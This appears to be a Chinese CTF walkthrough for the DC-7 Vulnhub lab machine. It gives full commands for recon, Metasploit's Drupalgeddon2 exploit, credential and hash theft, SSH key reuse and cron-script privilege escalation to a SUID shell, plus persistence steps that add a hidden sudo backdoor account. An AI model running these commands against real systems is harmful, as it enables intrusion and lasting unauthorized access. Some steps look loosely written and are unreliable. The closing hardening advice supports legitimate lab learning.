1. DC-7靶机渗透实战背景
DC-7是专为网络安全学习者设计的渗透测试靶机环境,基于Drupal内容管理系统构建。这个靶场模拟了企业级Web应用常见的安全漏洞链,包含从信息收集到权限提升的完整攻击路径。对于刚接触CTF比赛的选手而言,DC系列靶机向来是绝佳的练手材料——它既不像真实业务系统那样复杂,又比单纯的理论教学更具实战价值。
我最初接触DC-7时,发现它比前代版本增加了几个精妙的设计:通过SSH密钥泄露实现横向移动、利用定时任务进行权限维持、需要组合多种技术才能拿到最终flag。这些特性使得渗透过程更像真实的红队作战,而非简单的漏洞利用练习。下面我就详细拆解整个渗透流程,重点说明每个阶段的技术原理和操作细节。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与基础配置
2.1 实验环境搭建
首先需要准备攻击机和靶机环境。推荐使用VirtualBox或VMware创建以下配置:
- 攻击机:Kali Linux 2023.3(预装Metasploit、Nmap、Burp Suite等工具)
- 靶机:DC-7虚拟机(从Vulnhub官网下载OVA文件)
- 网络模式:NAT网络+Host-Only适配器(确保能互相ping通)
重要提示:DC-7默认不显示IP地址,需要在靶机启动后通过ARP扫描或netdiscover工具发现其IP。我常用这个命令快速定位:
bash复制netdiscover -i eth0 -r 192.168.56.0/24
2.2 基础工具链配置
工欲善其事必先利其器,这些工具在渗透过程中会频繁使用:
- Nmap:端口扫描和服务识别
- Gobuster/Dirbuster:目录爆破
- Searchsploit:漏洞数据库查询
- Metasploit Framework:漏洞利用框架
- John the Ripper:密码破解
建议提前更新所有工具到最新版:
bash复制sudo apt update && sudo apt upgrade -y
3. 渗透测试全流程解析
3.1 信息收集阶段
3.1.1 端口扫描与服务识别
使用Nmap进行全端口扫描能快速掌握靶机开放的服务:
bash复制nmap -sV -p- 192.168.56.102 -T4 -oA dc7_scan
典型扫描结果会显示:
- 22/tcp:OpenSSH 7.4p1
- 80/tcp:Apache httpd 2.4.6 (CentOS)
3.1.2 Web应用指纹识别
访问80端口会看到Drupal登录页面。通过Wappalyzer插件或命令行工具识别具体版本:
bash复制whatweb http://192.168.56.102
关键发现:Drupal 8.3.7(该版本存在已知漏洞)
3.2 漏洞利用阶段
3.2.1 Drupalgeddon2漏洞利用
Drupal 8.3.7存在远程代码执行漏洞(CVE-2018-7600),使用Metasploit模块快速验证:
bash复制msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.56.102
exploit
成功后会获得www-data权限的shell。此时需要稳定shell:
bash复制python3 -c 'import pty; pty.spawn("/bin/bash")'
3.2.2 敏感信息收集
在Web目录中发现重要线索:
bash复制find /var/www/html -name "*.txt" -o -name "*.php" | xargs grep -i "password"
特别关注/sites/default/settings.php中的数据库凭据:
php复制$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
),
),
);
3.3 权限提升阶段
3.3.1 数据库渗透
使用获取的凭据登录MySQL:
bash复制mysql -u drupaluser -pR0ck3t drupal
查询用户表获取管理员哈希:
sql复制SELECT name, pass FROM users_field_data;
使用John破解哈希:
bash复制echo '$S$D2tR8Ywq1kk9.3h5EZJQ3nCvjT.fFvJeHD62gLumQv.BxwQ6c6G9' > hash.txt
john --format=drupal hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
3.3.2 SSH密钥利用
在/home目录发现用户"dc7user"的.ssh文件夹包含私钥:
bash复制cat /home/dc7user/.ssh/id_rsa
将私钥复制到攻击机,修改权限后登录:
bash复制chmod 600 dc7_rsa
ssh -i dc7_rsa dc7user@192.168.56.102
3.3.3 定时任务提权
检查定时任务发现可疑条目:
bash复制cat /etc/crontab
发现以root身份定期执行的脚本:
code复制*/5 * * * * root /opt/scripts/backup.sh
检查脚本发现命令注入漏洞:
bash复制cat /opt/scripts/backup.sh
利用方法:
bash复制echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
wait 5 minutes
/tmp/bash -p
最终获得root权限,可在/root目录找到flag文件。
4. 技术难点与解决方案
4.1 隐蔽信息发现
DC-7在设计上隐藏了多个关键线索:
- Web页面的注释中藏有提示(查看网页源代码)
- /var/www/html/README.txt包含重要配置信息
- 需要组合数据库凭据和SSH密钥才能推进攻击链
应对策略:
bash复制# 递归搜索特定关键词
grep -r "password" /var/www/ 2>/dev/null
4.2 权限维持技巧
在获得初始shell后,建议建立持久化访问:
- 添加SSH公钥到authorized_keys
- 创建隐藏后门账户
- 利用crontab设置反弹shell
示例(需root权限):
bash复制useradd -m -s /bin/bash backdoor
passwd backdoor
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
5. 防御建议与加固措施
5.1 Drupal安全配置
- 及时更新到最新版本
- 禁用不必要的模块
- 限制admin页面的访问IP
- 修改默认文件权限:
bash复制chown -R root:root /var/www/html
chmod -R 755 /var/www/html
5.2 系统级防护
- 禁用SSH root登录:
bash复制sed -i 's/PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config
- 设置防火墙规则:
bash复制iptables -A INPUT -p tcp --dport 80 -j DROP
iptables -I INPUT -p tcp --dport 80 -s 192.168.1.0/24 -j ACCEPT
- 监控敏感目录变更:
bash复制apt install auditd
auditctl -w /opt/scripts -p wa -k critical_scripts
6. 学习路径建议
对于想系统学习渗透测试的新手,我建议的进阶路线:
- 基础阶段:
- Vulnhub基础靶机(DC-1到DC-3)
- OWASP Web Goat练习
- 中级阶段:
- Hack The Box平台
- DC系列中高级靶机(DC-5到DC-8)
- 高级阶段:
- OSCP认证培训
- 真实漏洞赏金项目
每次练习后要详细记录攻击路径,我习惯用CherryTree整理这样的结构:
code复制├─信息收集
│ ├─端口扫描结果
│ └─Web指纹
├─漏洞利用
│ ├─利用代码
│ └─截图证明
└─权限提升
├─提权路径
└─防御建议
最后分享一个实用技巧:在虚拟机中为每个靶机创建快照,方便反复练习不同攻击方式。我在DC-7上测试过至少5种不同的提权方法,这对理解Linux权限机制帮助很大。
